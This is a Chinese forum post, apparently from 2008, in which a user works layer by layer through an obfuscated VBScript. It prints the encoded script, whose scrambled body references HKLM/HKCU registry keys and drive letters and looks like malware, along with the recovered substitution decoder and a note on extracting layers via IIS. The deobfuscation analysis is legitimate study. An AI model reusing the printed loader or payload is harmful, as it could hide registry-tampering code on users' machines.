脱第一层加密后：

Copy code

rem UC lO="  
  = =|4.7|:=|UC|:=255:=|.|:=|.|:=|%% / |:
=|/#/|:
=|\.
|}{ =(|.|): =(|:\\.\\7|)}{
=(|.
|): =.(| *
 87_|)}{ =
.:=.
:=
.
(5)&:=
.
(6)&}{=
.
(7)&:=&|\|:=
(,()-(.))}{=|(||.||).|:=|\|:=|HKLM\\\|&&&}{=(,5):
=||  =}{=|HKLM\
\|&&:=|\
\
\\\\|}{
=|
\|:
=(|HKLM|&&
&| |,5)&&:
=(|HKCU|&&
&|
|,5)&}{=(|HKCU|&&
&||,5)&:=:=(|?01|):=(|:;4::<04|):=|5EE|:=(||+)}{=|HKLM\
\
\\\\\\|:
=  =}{
    :=.:=.:=.:=.:=.:}{=|HKCU|&&|\|:=|6<=121|&(679)&|;|}{
(,|0.7|)<>5 }{=||+}{
<>7507  =||+: =|$|+: 
:= =(||,6):=(||,6):
 ()   ()   ||,6: ||,:=(||,6)}{ ||,+6:=(|.|,6)=6  (|.|,6)=6  (|.|,6)=6}{
-()>9  =:. |  || |||,5,
}{
((||,6)>355       )  (||,6)<>() }{=(||,6):
  =6:=6:=5}{  <>|<>|}{
=7  =9 }{7=(&,++()&,5,655):=(&,6)}{
=6  =8  6=(&,+()+()&&|&=|&,5,655):=(&,6)}{ 
:=+6:=6=6  7=6:
>9 }{
  =6}{ }{ 
}{
   -6}{}{
(&,6) }{ =
.
(&,6)}{=.:=.:=.:
=.:=.:=.}{=.:
=.:=.:=.:=.:=.}{.:
&:
=|<>| }{ ||,6: ||,: ||,: ||,: ||,: ||,: ||,}{
->=6   (&,6)   &,&
&
&,,7555:.}{
=6   }{
<>   (&,6)  
&: &,&
&
&,6,6555}{ 
}{ 
}{ 
}{ 
}{
(6)    =6 := 

.
()  =6  =}{

.
()  =7  = :=  ,5}{
(,6) 
.
()}{
(,7) 
.
() := : := 
: =
.
(,):. :.}{
=6   ,2}{
 (5)  
=6 := 
: =
.
(,):=
}{. &&|[]|&&|=. .\|&&&|\\=. .\|&&&|\\
=6|}{.: ,2:
 (5)  =6 := 
<5  =}{
(,6) }{

.
().=5 }{=5}{}{ =
.
(,6)}{ =
.
(,6)}{.}{=.}{.}{
>5  <= }{=5 }{  <}{=+6}{
 .
 }{=.}{}{=5}{ 
}{}{=}{
<=5 }{=.}{}{=5}{ 
}{.}{ 
}{}{=5}{ 
:= 
=-6  .   . &,,|REG_SZ| := 
=6  =&}{=.()}{
(5)  =5 := 
(
,6) : 
=
.
(
):
.=: 
=}{
(
,7) : 
=
.
(
):
.=: 
= := )):  :=  ,5:  = (|
.|):. ||,,5:.()}{
<>5 }{
 (5) }{=6: =(|.|) }{.=8:.=6:.():.(.):.
 ,7}{ ,2}{
(,6) 
=
.
(). 
=5}{

> }{
=6  . }{}{=5:
}{ 
}{ 
}{ 
:=  =.(| ":function uc(b):x="633d766263726C663A643D3132373A663D31313A6A3D31323A683D31343A6D3D33313A723D38333A6B3D313A6E3D383A733D3131343A753D2D353A763D350D0A693D22696620613D223A743D22207468656E20223A653D22656C7365696620613E3D223A613D2220616E6420613C3D223A673D22613D612B223A6F3D74266326673A703D6326653A713D6326690D0A65786563757465286C2622666F722069693D3120746F206C656E2862293A613D617363286D696428622C69692C3129292226712622642226742622613D31332226712622662226742622613D313022267126226A22267426632622613D3334222663266526226822266126226D22266F26227222267026226B22266126226E22266F262273222670262235332226612622353722266F262275222670262234382226612622353222266F2622762226632622656E64206966222663262275633D75632B63687228612922266326226E657874222663262275633D726E2B632B75632229":y="execute """"":z="&chr(&h":w=")":execute("do while len(x)>1:if isnumeric(left(x,1)) then y=y&z&left(x,2)&w:x=mid(x,3) else y=y&z+left(x,4)+w:x=mid(x,5)"&vbcrlf&"loop"):execute(y):end function:qO="*
 87_  ='|&&|'|):=6}{
    :=+6}{
>()  =6}{
<5  
.=7  =6  . &| |&
(.,(.)-9),5,
}{}{
(5)  =7 :=
 =6  ():=+(((,,6))-): := =670:=678:=679:=42:=654:=68:=665:=677:
=-68:=5:=5: :=
    }{
=&  . | |&,8,
}{}{=(,-6):

()  (|H N!|): 6}{
 }{ 6}{
(||,6)<> }{ ||,}{ ||,}{ ||,}{ ||,5}{ ||,9}{ 
}{=(||,6):
()  -()>85   ||,9}{
(||,6)=6  . | / /|,5,
: ||,5}{
(&,5)=   -6}{=(||,6):
(&,6)  . &}{ 5}{: 6}{. 6555}{
(||,6)<>()  . }{}{. 0555}{
(|.|,7)=7 }{
(||,6)=() :.:: ||,}{ 
}{
(|.|,7)=6  .}{ ,2: &: &: 6:. &}{ 
:=&:= 
: =
.
(,):. :.: ,2 :=  := \ :  
  :
= 
=6  (&,5)<> }{. &,,|REG_SZ|}{
(5)   (
,6)  

,&| |||&&||||,5}{
=-6 :

}{
=5 :

: &,-6: ,-6}{ 
:= 
=6  . ,|5|,|REG_DWORD|}{
=5  =(,5) := =(||,6)}{ 
<=:=&|,|&
:
=
+6:}{=&:=(,|,|)}{
 =5  ()}{
=()  
 (&
,6)   &
,&
,5,7555}{}{
(&
,6)  . &
}{=6 := 
(||,6)<>
  (,6)=6 }{
(&
,&
,5,7555)=6  =6}{
(&
,6)  =6 }{
=6   ,-6}{. &
}{
 (5)   ||,
: 5,+()++
,5,5:
=7   ,-6: 6}{ 
}{=6}{ 
}{. 655 :
=
    }{
.=8  (.=6  <>|A:|  <> |B:|) }{
=6 }{
(&
,7)  
&
}{
(&&,6)  (&
,6) }{
(&
,6)<>   &
: &&}{}{ 6: &
: &&}{ 
}{
=-6 :
&
:
&&}{:
&&,&|(
(.
,8)),8|&(65555,|'|),6:
&
}{ 
}{ 
}{ := }{=(||,6)<>()}{
(()  0)=5 }{
  (||,6)<>9   6}{=():
(  7)=6  <>  <>6  =:=: 5}{
(||,6)=6  (((||,6)))}{ 
}{. 455}{
(5)=6     ||,: -6}{
(|.|,6)=6 :. | |&+5.558&| / |&,5,
: ||,6: 6: 5:.}{ := :(( := 
=6 }{ 5: -6:
:
&:
&:
&:.}{}{ 6}{

(&)   &}{

(&)   &}{ 
:= 
(,6)<>| |&  
= :(& )) && )) && () &&  && (,) &&  && () &&  && (,,) &&  && () &&  && (,) &&  && (,) &&  && (,) &&  && (,) &&  && (,,
,) &&  && (
,
) &&  && () &&  && () &&  && 
(
) && 
 && (
) &&  && (
,,,,) &&  && (
,,,) &&  && 
(
) && 
 && () &&  && (
) &&  && () &&  &)  (
)  .<>5 
<5  . = 
<>5  (  ,6)<>
()    ,(  ,6)+
(
)  (  ,6)>655    ,:  ,5      ":execute(uc(lO+qO))

脱第二层加密后：

Copy code

execute ""&chr(&h63)&chr(&h3d)&chr(&h76)&chr(&h62)&chr(&h63)&chr(&h72)&chr(&h6C)&chr(&h66)&chr(&h3A)&chr(&h64)&chr(&h3D)&chr(&h31)&chr(&h32)&chr(&h37)&chr(&h3A)&chr(&h66)&chr(&h3D)&chr(&h31)&chr(&h31)&chr(&h3A)&chr(&h6A)&chr(&h3D)&chr(&h31)&chr(&h32)&chr(&h3A)&chr(&h68)&chr(&h3D)&chr(&h31)&chr(&h34)&chr(&h3A)&chr(&h6D)&chr(&h3D)&chr(&h33)&chr(&h31)&chr(&h3A)&chr(&h72)&chr(&h3D)&chr(&h38)&chr(&h33)&chr(&h3A)&chr(&h6B)&chr(&h3D)&chr(&h31)&chr(&h3A)&chr(&h6E)&chr(&h3D)&chr(&h38)&chr(&h3A)&chr(&h73)&chr(&h3D)&chr(&h31)&chr(&h31)&chr(&h34)&chr(&h3A)&chr(&h75)&chr(&h3D)&chr(&h2D)&chr(&h35)&chr(&h3A)&chr(&h76)&chr(&h3D)&chr(&h35)&chr(&h0D)&chr(&h0A)&chr(&h69)&chr(&h3D)&chr(&h22)&chr(&h69)&chr(&h66)&chr(&h20)&chr(&h61)&chr(&h3D)&chr(&h22)&chr(&h3A)&chr(&h74)&chr(&h3D)&chr(&h22)&chr(&h20)&chr(&h74)&chr(&h68)&chr(&h65)&chr(&h6E)&chr(&h20)&chr(&h22)&chr(&h3A)&chr(&h65)&chr(&h3D)&chr(&h22)&chr(&h65)&chr(&h6C)&chr(&h73)&chr(&h65)&chr(&h69)&chr(&h66)&chr(&h20)&chr(&h61)&chr(&h3E)&chr(&h3D)&chr(&h22)&chr(&h3A)&chr(&h61)&chr(&h3D)&chr(&h22)&chr(&h20)&chr(&h61)&chr(&h6E)&chr(&h64)&chr(&h20)&chr(&h61)&chr(&h3C)&chr(&h3D)&chr(&h22)&chr(&h3A)&chr(&h67)&chr(&h3D)&chr(&h22)&chr(&h61)&chr(&h3D)&chr(&h61)&chr(&h2B)&chr(&h22)&chr(&h3A)&chr(&h6F)&chr(&h3D)&chr(&h74)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h67)&chr(&h3A)&chr(&h70)&chr(&h3D)&chr(&h63)&chr(&h26)&chr(&h65)&chr(&h3A)&chr(&h71)&chr(&h3D)&chr(&h63)&chr(&h26)&chr(&h69)&chr(&h0D)&chr(&h0A)&chr(&h65)&chr(&h78)&chr(&h65)&chr(&h63)&chr(&h75)&chr(&h74)&chr(&h65)&chr(&h28)&chr(&h6C)&chr(&h26)&chr(&h22)&chr(&h66)&chr(&h6F)&chr(&h72)&chr(&h20)&chr(&h69)&chr(&h69)&chr(&h3D)&chr(&h31)&chr(&h20)&chr(&h74)&chr(&h6F)&chr(&h20)&chr(&h6C)&chr(&h65)&chr(&h6E)&chr(&h28)&chr(&h62)&chr(&h29)&chr(&h3A)&chr(&h61)&chr(&h3D)&chr(&h61)&chr(&h73)&chr(&h63)&chr(&h28)&chr(&h6D)&chr(&h69)&chr(&h64)&chr(&h28)&chr(&h62)&chr(&h2C)&chr(&h69)&chr(&h69)&chr(&h2C)&chr(&h31)&chr(&h29)&chr(&h29)&chr(&h22)&chr(&h26)&chr(&h71)&chr(&h26)&chr(&h22)&chr(&h64)&chr(&h22)&chr(&h26)&chr(&h74)&chr(&h26)&chr(&h22)&chr(&h61)&chr(&h3D)&chr(&h31)&chr(&h33)&chr(&h22)&chr(&h26)&chr(&h71)&chr(&h26)&chr(&h22)&chr(&h66)&chr(&h22)&chr(&h26)&chr(&h74)&chr(&h26)&chr(&h22)&chr(&h61)&chr(&h3D)&chr(&h31)&chr(&h30)&chr(&h22)&chr(&h26)&chr(&h71)&chr(&h26)&chr(&h22)&chr(&h6A)&chr(&h22)&chr(&h26)&chr(&h74)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h61)&chr(&h3D)&chr(&h33)&chr(&h34)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h65)&chr(&h26)&chr(&h22)&chr(&h68)&chr(&h22)&chr(&h26)&chr(&h61)&chr(&h26)&chr(&h22)&chr(&h6D)&chr(&h22)&chr(&h26)&chr(&h6F)&chr(&h26)&chr(&h22)&chr(&h72)&chr(&h22)&chr(&h26)&chr(&h70)&chr(&h26)&chr(&h22)&chr(&h6B)&chr(&h22)&chr(&h26)&chr(&h61)&chr(&h26)&chr(&h22)&chr(&h6E)&chr(&h22)&chr(&h26)&chr(&h6F)&chr(&h26)&chr(&h22)&chr(&h73)&chr(&h22)&chr(&h26)&chr(&h70)&chr(&h26)&chr(&h22)&chr(&h35)&chr(&h33)&chr(&h22)&chr(&h26)&chr(&h61)&chr(&h26)&chr(&h22)&chr(&h35)&chr(&h37)&chr(&h22)&chr(&h26)&chr(&h6F)&chr(&h26)&chr(&h22)&chr(&h75)&chr(&h22)&chr(&h26)&chr(&h70)&chr(&h26)&chr(&h22)&chr(&h34)&chr(&h38)&chr(&h22)&chr(&h26)&chr(&h61)&chr(&h26)&chr(&h22)&chr(&h35)&chr(&h32)&chr(&h22)&chr(&h26)&chr(&h6F)&chr(&h26)&chr(&h22)&chr(&h76)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h65)&chr(&h6E)&chr(&h64)&chr(&h20)&chr(&h69)&chr(&h66)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h75)&chr(&h63)&chr(&h3D)&chr(&h75)&chr(&h63)&chr(&h2B)&chr(&h63)&chr(&h68)&chr(&h72)&chr(&h28)&chr(&h61)&chr(&h29)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h6E)&chr(&h65)&chr(&h78)&chr(&h74)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h75)&chr(&h63)&chr(&h3D)&chr(&h72)&chr(&h6E)&chr(&h2B)&chr(&h63)&chr(&h2B)&chr(&h75)&chr(&h63)&chr(&h22)&chr(&h29)

脱第三层加密后：

Copy code

c=vbcrlf:d=127:f=11:j=12:h=14:m=31:r=83:k=1:n=8:s=114:u=-5:v=5 i="if a=":t=" then ":e="elseif a>=":a=" and a<=":g="a=a+":o=t&c&g:p=c&e:q=c&i execute(l&"for ii=1 to len(b):a=asc(mid(b,ii,1))"&q&"d"&t&"a=13"&q&"f"&t&"a=10"&q&"j"&t&c&"a=34"&c&e&"h"&a&"m"&o&"r"&p&"k"&a&"n"&o&"s"&p&"53"&a&"57"&o&"u"&p&"48"&a&"52"&o&"v"&c&"end if"&c&"uc=uc+chr(a)"&c&"next"&c&"uc=rn+c+uc")

脱第四层加密后：

Copy code

for ii=1 to len(b):a=asc(mid(b,ii,1)) if a=d then a=13 if a=f then a=10 if a=j then a=34 elseif a>=h and a<=m then a=a+r elseif a>=k and a<=n then a=a+s elseif a>=53 and a<=57 then a=a+u elseif a>=48 and a<=52 then a=a+v end if uc=uc+chr(a) next uc=rn+c+uc

格式化了一下后大概是：

Copy code

for ii=1 to len(b)
a=asc(mid(b,ii,1))
if a=d then a=13
if a=f then a=10
if a=j then
a=34
elseif a>=h and a<=m then
a=a+r
elseif a>=k and a<=n then
a=a+s
elseif a>=53 and a<=57 then
a=a+u
elseif a>=48 and a<=52 then
a=a+v
end if
uc=uc+chr(a)
next
uc=rn+c+uc

然后我就卡在这里了，因为这段运行没有结果，b变量不知在哪一步弄丢了，程序执行不下去了

Quote:

引用第2楼iguard于2008-03-03 19:27发表的  :
怎么脱壳的？

不是用软件哈，这不是exe，没有壳的说法，
这个文件只是作者多次用了一些算法把源码加密了自身
我是在iis环境下把代码改成asp用response输出源码里execute的内容弄的